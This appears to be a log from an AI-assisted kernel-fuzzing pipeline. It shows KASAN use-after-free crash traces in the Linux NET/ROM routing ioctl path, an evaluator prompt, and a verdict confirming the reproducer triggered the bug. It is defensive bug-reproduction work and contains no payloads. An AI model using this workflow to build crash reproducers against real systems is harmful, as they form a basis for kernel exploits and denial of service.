 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1c1/0x630 mm/slub.c:6483
 __nr_remove_neigh net/netrom/nr_route.c:299 [inline]
 nr_remove_neigh net/netrom/nr_route.c:308 [inline]
 nr_del_neigh+0x246/0x2d0 net/netrom/nr_route.c:439
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88810e2e2580
 which belongs to the cache kmalloc-64 of size 64
The buggy address is located 60 bytes inside of
 freed 64-byte region [ffff88810e2e2580, ffff88810e2e25c0)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10e2e2
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 017ff00000000000 ffff8881000418c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 51, tgid 51 (kworker/u9:2), ts 23585057965, free_ts 0
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x231/0x280 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x24dc/0x2580 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab+0x77/0x660 mm/slub.c:3481
 new_slab mm/slub.c:3539 [inline]
 refill_objects+0x331/0x3c0 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x2e6/0x730 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x577/0x7c0 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 __vmalloc_area_node mm/vmalloc.c:3855 [inline]
 __vmalloc_node_range_noprof+0x5d5/0x1730 mm/vmalloc.c:4064
 __vmalloc_node_noprof+0xc2/0x100 mm/vmalloc.c:4124
 alloc_thread_stack_node kernel/fork.c:355 [inline]
 dup_task_struct+0x275/0x9a0 kernel/fork.c:924
 copy_process+0x508/0x3cd0 kernel/fork.c:2050
 kernel_clone+0x248/0x8e0 kernel/fork.c:2653
 user_mode_thread+0x110/0x180 kernel/fork.c:2729
 call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
page_owner free stack trace missing

Memory state around the buggy address:
 ffff88810e2e2480: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
 ffff88810e2e2500: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
>ffff88810e2e2580: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
                                        ^
 ffff88810e2e2600: 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc
 ffff88810e2e2680: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
==================================================================
 TruncatedStraceOutput:]

gemini-3.1-pro-preview

map[Feedback:The reproducer successfully triggered the expected bug. The crash signature and call trace match the original report exactly, with the KASAN slab-use-after-free write occurring in `nr_neigh_put` during `nr_del_neigh` via `nr_rt_ioctl`. The secondary crash `refcount_t: underflow; use-after-free.` in `refcount_warn_saturate` from `nr_del_neigh` is also a direct consequence of the same underlying issue (double free / underflow of the neighbor refcount). TitleMatches:true]

You are a security researcher with deep Linux kernel background.
Analyze the results of running the reproducer and determine if it was successful.
When Reproduced is false, analyze TruncatedConsoleOutput for execution patterns
(hangs, immediate exits, syscall failures)
to provide detailed feedback on why it failed and how to fix it.

Critical Diagnostic Rule:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.

The Strace Output will contain the syscall trace if the run was successful and strace was supported.
Use this trace to identify which syscall failed or behaved unexpectedly.

The input variable 'IsProbe' indicates whether the executed program was a simple environment
probe (true) or a full reproducer candidate (false).
Use this to guide your classification and feedback:

1. If 'IsProbe' is true:
   - If the execution was successful (all environment/subsystem probes passed), provide feedback
     explicitly indicating that the environment is ready and the agent should now proceed to
     generate the full reproducer in the next iteration.
   - If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
     explain what failed so the generator can adjust its environment setups.

2. If 'IsProbe' is false:
   - If a crash was triggered (Reproduced is true):
     - Determine if the triggered crash matches the expected bug.
     - If you conclude they represent the same underlying bug (the same root cause)
       despite different titles, crash signatures, or call traces, set TitleMatches
       to true and provide a detailed, technical, and verbose explanation of the
       equivalence in the 'Feedback' field.
     - If they do not represent the same bug (a completely unrelated crash/collision),
        set TitleMatches to false and explain the collision in 'Feedback'.
     - If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
   - If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
     - The reproduction attempt failed to trigger the bug. Analyze the console/strace output
       to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
       and provide feedback on how to improve the reproducer logic to trigger the crash.

If reproduction failed due to environmental issues (e.g., missing permissions, missing devices,
or sandbox restrictions), assume execution might succeed with a different approach or more
robust code (e.g., adding namespace setup or better error handling), and suggest modifications
to the C code.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Bug Description: KASAN: slab-use-after-free Write in nr_neigh_put

==================================================================
BUG: KASAN: slab-use-after-free in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: slab-use-after-free in atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
BUG: KASAN: slab-use-after-free in __refcount_sub_and_test include/linux/refcount.h:389 [inline]
BUG: KASAN: slab-use-after-free in __refcount_dec_and_test include/linux/refcount.h:432 [inline]
BUG: KASAN: slab-use-after-free in refcount_dec_and_test include/linux/refcount.h:450 [inline]
BUG: KASAN: slab-use-after-free in nr_neigh_put+0x21/0x170 include/net/netrom.h:139
Write of size 4 at addr ffff888028dc0ebc by task syz.3.4420/22103

CPU: 1 UID: 0 PID: 22103 Comm: syz.3.4420 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/18/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0xba/0x230 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
 __refcount_sub_and_test include/linux/refcount.h:389 [inline]
 __refcount_dec_and_test include/linux/refcount.h:432 [inline]
 refcount_dec_and_test include/linux/refcount.h:450 [inline]
 nr_neigh_put+0x21/0x170 include/net/netrom.h:139
 nr_del_neigh+0x25a/0x2d0 net/netrom/nr_route.c:440
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5a8e59c819
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f5a8f3c3028 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007f5a8e815fa0 RCX: 00007f5a8e59c819
RDX: 0000200000000740 RSI: 000000000000890c RDI: 000000000000000b
RBP: 00007f5a8e632c91 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5a8e816038 R14: 00007f5a8e815fa0 R15: 00007fff4f4442c8
 </TASK>

Allocated by task 20448:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x31c/0x660 mm/slub.c:5380
 kmalloc_noprof include/linux/slab.h:950 [inline]
 nr_add_neigh+0x104/0x520 net/netrom/nr_route.c:392
 nr_rt_ioctl+0xdf9/0xf90 net/netrom/nr_route.c:660
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 22103:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1c1/0x630 mm/slub.c:6483
 __nr_remove_neigh net/netrom/nr_route.c:299 [inline]
 nr_remove_neigh net/netrom/nr_route.c:308 [inline]
 nr_del_neigh+0x246/0x2d0 net/netrom/nr_route.c:439
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff888028dc0e80
 which belongs to the cache kmalloc-64 of size 64
The buggy address is located 60 bytes inside of
 freed 64-byte region [ffff888028dc0e80, ffff888028dc0ec0)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x28dc0
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88813fea78c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 36, tgid 36 (kworker/u8:2), ts 8945898703, free_ts 8878260428
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x231/0x280 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x24dc/0x2580 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab+0x77/0x660 mm/slub.c:3481
 new_slab mm/slub.c:3539 [inline]
 refill_objects+0x331/0x3c0 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x2e6/0x730 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_noprof+0x474/0x760 mm/slub.c:5272
 kmalloc_noprof include/linux/slab.h:954 [inline]
 kzalloc_noprof include/linux/slab.h:1188 [inline]
 lsm_blob_alloc security/security.c:193 [inline]
 lsm_task_alloc security/security.c:245 [inline]
 security_task_alloc+0x4d/0x330 security/security.c:2683
 copy_process+0x16df/0x3cd0 kernel/fork.c:2205
 kernel_clone+0x248/0x8e0 kernel/fork.c:2653
 user_mode_thread+0x110/0x180 kernel/fork.c:2729
 call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
 kthread+0x388/0x470 kernel/kthread.c:436
 ret_from_fork+0x51e/0xb90 arch/x86/kernel/process.c:158
page last free pid 849 tgid 849 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0xc2b/0xdb0 mm/page_alloc.c:2978
 vfree+0x25a/0x400 mm/vmalloc.c:3479
 delayed_vfree_work+0x55/0x80 mm/vmalloc.c:3398
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
 kthread+0x388/0x470 kernel/kthread.c:436
 ret_from_fork+0x51e/0xb90 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Memory state around the buggy address:
 ffff888028dc0d80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
 ffff888028dc0e00: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
>ffff888028dc0e80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
                                        ^
 ffff888028dc0f00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
 ffff888028dc0f80: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
==================================================================

IsProbe: false
Reproduced: true
Console Output: Warning: Permanently added '[localhost]:15352' (ED25519) to the list of known hosts.
[  113.070428][ T6098] mkiss: ax0: crc mode is auto.
Created AX.25 interface: ax0
[  113.151101][ T6118] ==================================================================
[  113.155794][ T6118] BUG: KASAN: slab-use-after-free in nr_neigh_put+0x21/0x170
[  113.158624][ T6118] Write of size 4 at addr ffff88810e2e25bc by task syz-executor711/6118
[  113.163716][ T6118] 
[  113.164967][ T6118] CPU: 0 UID: 0 PID: 6118 Comm: syz-executor711 Not tainted syzkaller #1 PREEMPT(full) 
[  113.164987][ T6118] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  113.164995][ T6118] Call Trace:
[  113.165030][ T6118]  <TASK>
[  113.165038][ T6118]  dump_stack_lvl+0xe8/0x150
[  113.165062][ T6118]  print_report+0xba/0x230
[  113.165077][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.165094][ T6118]  kasan_report+0x117/0x150
[  113.165112][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.165129][ T6118]  kasan_check_range+0x264/0x2c0
[  113.165144][ T6118]  nr_neigh_put+0x21/0x170
[  113.165161][ T6118]  nr_del_neigh+0x25a/0x2d0
[  113.165178][ T6118]  nr_rt_ioctl+0xd62/0xf90
[  113.165196][ T6118]  ? kasan_quarantine_put+0xbb/0x1f0
[  113.165209][ T6118]  ? __pfx_nr_rt_ioctl+0x10/0x10
[  113.165227][ T6118]  ? apparmor_capable+0x126/0x170
[  113.165244][ T6118]  ? capable+0x88/0xe0
[  113.165261][ T6118]  ? nr_ioctl+0x1b1/0x3b0
[  113.165275][ T6118]  sock_do_ioctl+0x101/0x320
[  113.165290][ T6118]  ? __pfx_sock_do_ioctl+0x10/0x10
[  113.165300][ T6118]  ? rcu_core+0xd13/0x1070
[  113.165320][ T6118]  sock_ioctl+0x5c6/0x7f0
[  113.165332][ T6118]  ? __pfx_sock_ioctl+0x10/0x10
[  113.165343][ T6118]  ? __fget_files+0x2a/0x420
[  113.165354][ T6118]  ? __fget_files+0x3a0/0x420
[  113.165364][ T6118]  ? __fget_files+0x2a/0x420
[  113.165375][ T6118]  ? bpf_lsm_file_ioctl+0x9/0x20
[  113.165391][ T6118]  ? __pfx_sock_ioctl+0x10/0x10
[  113.165401][ T6118]  __se_sys_ioctl+0xfc/0x170
[  113.165415][ T6118]  do_syscall_64+0x14d/0xf80
[  113.165433][ T6118]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.165445][ T6118]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.165455][ T6118] RIP: 0033:0x7f3e4416f06b
[  113.165468][ T6118] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
[  113.165478][ T6118] RSP: 002b:00007f3e43937130 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
[  113.165493][ T6118] RAX: ffffffffffffffda RBX: 00007f3e43937cdc RCX: 00007f3e4416f06b
[  113.165500][ T6118] RDX: 00007f3e4420eb40 RSI: 000000000000890c RDI: 0000000000000006
[  113.165507][ T6118] RBP: 0000000000000021 R08: 0000000000000000 R09: 00007f3e439376c0
[  113.165513][ T6118] R10: 0000000000000008 R11: 0000000000000246 R12: ffffffffffffffd0
[  113.165520][ T6118] R13: 0000000000000000 R14: 00007ffc2c2d5db0 R15: 00007ffc2c2d5e98
[  113.165532][ T6118]  </TASK>
[  113.165537][ T6118] 
[  113.281801][ T6118] Allocated by task 6098:
[  113.283671][ T6118]  kasan_save_track+0x3e/0x80
[  113.286300][ T6118]  __kasan_kmalloc+0x93/0xb0
[  113.289041][ T6118]  __kmalloc_cache_noprof+0x31c/0x660
[  113.291585][ T6118]  nr_add_neigh+0x104/0x520
[  113.294064][ T6118]  nr_rt_ioctl+0xdf9/0xf90
[  113.296094][ T6118]  sock_do_ioctl+0x101/0x320
[  113.298605][ T6118]  sock_ioctl+0x5c6/0x7f0
[  113.300953][ T6118]  __se_sys_ioctl+0xfc/0x170
[  113.303479][ T6118]  do_syscall_64+0x14d/0xf80
[  113.305810][ T6118]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.307986][ T6118] 
[  113.308926][ T6118] Freed by task 6118:
[  113.311191][ T6118]  kasan_save_track+0x3e/0x80
[  113.313804][ T6118]  kasan_save_free_info+0x46/0x50
[  113.318472][ T6118]  __kasan_slab_free+0x5c/0x80
[  113.320537][ T6118]  kfree+0x1c1/0x630
[  113.322217][ T6118]  nr_del_neigh+0x246/0x2d0
[  113.324201][ T6118]  nr_rt_ioctl+0xd62/0xf90
[  113.326198][ T6118]  sock_do_ioctl+0x101/0x320
[  113.328175][ T6118]  sock_ioctl+0x5c6/0x7f0
[  113.330037][ T6118]  __se_sys_ioctl+0xfc/0x170
[  113.334100][ T6118]  do_syscall_64+0x14d/0xf80
[  113.336148][ T6118]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.338591][ T6118] 
[  113.339616][ T6118] The buggy address belongs to the object at ffff88810e2e2580
[  113.339616][ T6118]  which belongs to the cache kmalloc-64 of size 64
[  113.345930][ T6118] The buggy address is located 60 bytes inside of
[  113.345930][ T6118]  freed 64-byte region [ffff88810e2e2580, ffff88810e2e25c0)
[  113.353595][ T6118] 
[  113.354969][ T6118] The buggy address belongs to the physical page:
[  113.358480][ T6118] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10e2e2
[  113.363154][ T6118] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[  113.366089][ T6118] page_type: f5(slab)
[  113.368381][ T6118] raw: 017ff00000000000 ffff8881000418c0 dead000000000100 dead000000000122
[  113.373176][ T6118] raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
[  113.377893][ T6118] page dumped because: kasan: bad access detected
[  113.380988][ T6118] page_owner tracks the page as allocated
[  113.384184][ T6118] page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 51, tgid 51 (kworker/u9:2), ts 23585057965, free_ts 0
[  113.393727][ T6118]  post_alloc_hook+0x231/0x280
[  113.396386][ T6118]  get_page_from_freelist+0x24dc/0x2580
[  113.399400][ T6118]  __alloc_frozen_pages_noprof+0x18d/0x380
[  113.401630][ T6118]  allocate_slab+0x77/0x660
[  113.403449][ T6118]  refill_objects+0x331/0x3c0
[  113.405478][ T6118]  __pcs_replace_empty_main+0x2e6/0x730
[  113.408517][ T6118]  __kmalloc_node_noprof+0x577/0x7c0
[  113.411377][ T6118]  __vmalloc_node_range_noprof+0x5d5/0x1730
[  113.414561][ T6118]  __vmalloc_node_noprof+0xc2/0x100
[  113.417425][ T6118]  dup_task_struct+0x275/0x9a0
[  113.419974][ T6118]  copy_process+0x508/0x3cd0
[  113.422551][ T6118]  kernel_clone+0x248/0x8e0
[  113.424996][ T6118]  user_mode_thread+0x110/0x180
[  113.427692][ T6118]  call_usermodehelper_exec_work+0x5c/0x230
[  113.430891][ T6118]  process_scheduled_works+0xb6e/0x18c0
[  113.433794][ T6118]  worker_thread+0xa53/0xfc0
[  113.436325][ T6118] page_owner free stack trace missing
[  113.438336][ T6118] 
[  113.439470][ T6118] Memory state around the buggy address:
[  113.442614][ T6118]  ffff88810e2e2480: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
[  113.447119][ T6118]  ffff88810e2e2500: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
[  113.451634][ T6118] >ffff88810e2e2580: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
[  113.457315][ T6118]                                         ^
[  113.459911][ T6118]  ffff88810e2e2600: 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc
[  113.463539][ T6118]  ffff88810e2e2680: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
[  113.467086][ T6118] ==================================================================
[  113.477742][ T6118] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[  113.480501][ T6118] CPU: 0 UID: 0 PID: 6118 Comm: syz-executor711 Not tainted syzkaller #1 PREEMPT(full) 
[  113.487593][ T6118] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  113.491617][ T6118] Call Trace:
[  113.493105][ T6118]  <TASK>
[  113.494375][ T6118]  vpanic+0x56c/0xa60
[  113.496069][ T6118]  ? __pfx_vpanic+0x10/0x10
[  113.498599][ T6118]  panic+0xc5/0xd0
[  113.500648][ T6118]  ? __pfx_panic+0x10/0x10
[  113.502352][ T6118]  ? preempt_schedule_thunk+0x16/0x30
[  113.504586][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.506483][ T6118]  ? preempt_schedule_thunk+0x16/0x30
[  113.509252][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.511770][ T6118]  check_panic_on_warn+0x89/0xb0
[  113.514514][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.516750][ T6118]  end_report+0x73/0x180
[  113.519094][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.521619][ T6118]  kasan_report+0x128/0x150
[  113.523420][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.525882][ T6118]  kasan_check_range+0x264/0x2c0
[  113.528678][ T6118]  nr_neigh_put+0x21/0x170
[  113.531212][ T6118]  nr_del_neigh+0x25a/0x2d0
[  113.533753][ T6118]  nr_rt_ioctl+0xd62/0xf90
[  113.536279][ T6118]  ? kasan_quarantine_put+0xbb/0x1f0
[  113.539112][ T6118]  ? __pfx_nr_rt_ioctl+0x10/0x10
[  113.541784][ T6118]  ? apparmor_capable+0x126/0x170
[  113.544085][ T6118]  ? capable+0x88/0xe0
[  113.546379][ T6118]  ? nr_ioctl+0x1b1/0x3b0
[  113.548768][ T6118]  sock_do_ioctl+0x101/0x320
[  113.551296][ T6118]  ? __pfx_sock_do_ioctl+0x10/0x10
[  113.554055][ T6118]  ? rcu_core+0xd13/0x1070
[  113.556835][ T6118]  sock_ioctl+0x5c6/0x7f0
[  113.558446][ T6118]  ? __pfx_sock_ioctl+0x10/0x10
[  113.560897][ T6118]  ? __fget_files+0x2a/0x420
[  113.563443][ T6118]  ? __fget_files+0x3a0/0x420
[  113.566113][ T6118]  ? __fget_files+0x2a/0x420
[  113.568588][ T6118]  ? bpf_lsm_file_ioctl+0x9/0x20
[  113.571250][ T6118]  ? __pfx_sock_ioctl+0x10/0x10
[  113.573892][ T6118]  __se_sys_ioctl+0xfc/0x170
[  113.575847][ T6118]  do_syscall_64+0x14d/0xf80
[  113.578435][ T6118]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.581977][ T6118]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.585309][ T6118] RIP: 0033:0x7f3e4416f06b
[  113.587723][ T6118] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
[  113.597300][ T6118] RSP: 002b:00007f3e43937130 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
[  113.601233][ T6118] RAX: ffffffffffffffda RBX: 00007f3e43937cdc RCX: 00007f3e4416f06b
[  113.605584][ T6118] RDX: 00007f3e4420eb40 RSI: 000000000000890c RDI: 0000000000000006
[  113.608516][ T6118] RBP: 0000000000000021 R08: 0000000000000000 R09: 00007f3e439376c0
[  113.612675][ T6118] R10: 0000000000000008 R11: 0000000000000246 R12: ffffffffffffffd0
[  113.616979][ T6118] R13: 0000000000000000 R14: 00007ffc2c2d5db0 R15: 00007ffc2c2d5e98
[  113.621327][ T6118]  </TASK>
[  113.623850][ T6118] Kernel Offset: disabled
[  113.625659][ T6118] Rebooting in 86400 seconds..

Strace Output: 
Crash Report: ==================================================================
BUG: KASAN: slab-use-after-free in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: slab-use-after-free in atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
BUG: KASAN: slab-use-after-free in __refcount_sub_and_test include/linux/refcount.h:389 [inline]
BUG: KASAN: slab-use-after-free in __refcount_dec_and_test include/linux/refcount.h:432 [inline]
BUG: KASAN: slab-use-after-free in refcount_dec_and_test include/linux/refcount.h:450 [inline]
BUG: KASAN: slab-use-after-free in nr_neigh_put+0x21/0x170 include/net/netrom.h:139
Write of size 4 at addr ffff88810e2e25bc by task syz-executor711/6118

CPU: 0 UID: 0 PID: 6118 Comm: syz-executor711 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0xba/0x230 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
